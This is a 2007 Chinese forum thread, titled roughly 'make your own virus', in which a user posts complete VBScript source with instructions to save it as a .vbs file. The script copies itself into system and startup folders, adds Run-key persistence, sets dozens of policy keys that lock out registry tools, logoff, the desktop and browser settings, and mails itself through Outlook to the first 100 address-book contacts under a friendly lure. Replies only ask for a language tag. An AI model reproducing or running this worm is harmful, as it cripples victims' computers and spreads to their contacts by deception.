安全基地 » 源码交流 » [？]自己做病毒

ltf7136 发表于 2007-4-26 20:40

[？]自己做病毒

[size=2]以下为源代码，用记事本编辑，最后保存为.vbs即可。[code]On Error Resume Next
Set fs=CreateObject("Scripting.FileSystemObject")
Set dir1=fs.GetSpecialFolder(0)
Set dir2=fs.GetSpecialFolder(1)
Set so=CreateObject("Scripting.FileSystemObject")
dim r
Set r=CreateObject("Wscript.Shell")
so.GetFile(WScript.ScriptFullName).Copy(dir1&"\\Win32system.vbs")
so.GetFile(WScript.ScriptFullName).Copy(dir2&"\\Win32system.vbs")
so.GetFile(WScript.ScriptFullName).Copy(dir1&"\\Start Menu\\Programs\\启动\\Win32system.vbs")
r.Regwrite "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policie*\\**plorer\\NoRun",1,"REG_DWORD"
r.Regwrite "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policie*\\**plorer\\NoClose",1,"REG_DWORD"
r.Regwrite "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policie*\\**plorer\\NoDrives",63000000,"REG_DWORD"
r.Regwrite "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\DisableRegistryTools",1,"REG_DWORD"
r.Regwrite "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ScanRegistry",""
r.Regwrite "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policie*\\**plorer\\NoLogOff",1,"REG_DWORD"
r.Regwrite "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\WinOldApp\\NoRealMode",1,"REG_DWORD"
r.Regwrite "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Win32system","Win32system.vbs"
r.Regwrite "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policie*\\**plorer\\NoDesktop",1,"REG_DWORD"
r.Regwrite "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\WinOldApp\\Disabled",1,"REG_DWORD"
r.Regwrite "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policie*\\**plorer\\NoSetTaskBar",1,"REG_DWORD"
r.Regwrite "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policie*\\**plorer\\NoViewContextMenu",1,"REG_DWORD"
r.Regwrite "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policie*\\**plorer\\NoSetFolders",1,"REG_DWORD"
r.Regwrite "HKLM\\Software\\CLASSES\\.reg\\","txtfile"
r.Regwrite "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeCaption","nihaoa "
r.Regwrite "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeText","nihaoa aa a aa a "
Set ol=CreateObject("Outlook.Application")
On Error Resume Next
For x=1 To 100
Set Mail=ol.CreateItem(0)
Mail.to=ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x)
Mail.Subject="您还好吗，？"
Mail.Body="朋友你好：您的朋友给您发来了热情的邀请。具体情况请阅读随信附件，祝您好运！ "
Mail.Attachments.Add(dir2&"Win32system.vbs")
Mail.Send
Next
ol.Quit
r.Regwrite "HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoBrowserContextMenu",1,"REG_DWORD"
r.Regwrite "HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoBrowserOptions",1,"REG_DWORD"
r.Regwrite "HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoBrowserSaveAs",1,"REG_DWORD"
r.Regwrite "HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoFileOpen",1,"REG_DWORD"
r.Regwrite "HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\Advanced",1,"REG_DWORD"
r.Regwrite "HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\Cache Internet",1,"REG_DWORD"
r.Regwrite "HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\AutoConfig",1,"REG_DWORD"
r.Regwrite "HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\HomePage",1,"REG_DWORD"
r.Regwrite "HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\History",1,"REG_DWORD"
r.Regwrite "HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\Connwiz Admin Lock",1,"REG_DWORD"
r.Regwrite "HKEY_USERS\\.DEFAULT\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page","http://www.baidu.com"
r.Regwrite "HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\SecurityTab",1,"REG_DWORD"
r.Regwrite "HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\ResetWebSettings",1,"REG_DWORD"
r.Regwrite "HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoViewSource",1,"REG_DWORD"
r.Regwrite "HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Infodelivery\\Restrictions\\NoAddingSubScriptions",1,"REG_DWORD"
r.Regwrite "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policie*\\**plorer\\NoFileMenu",1,"REG_DWORD"[/code][/size]

[[i] 本帖最后由 逃学书童 于 2007-10-2 20:38 编辑 [/i]]

逃学书童 发表于 2007-5-25 17:12

请楼主按照发帖格式发帖，标注一下语种！！！:)

zkeey 发表于 2007-8-13 10:09

VB啊 …………………………66

查看完整版本: [？]自己做病毒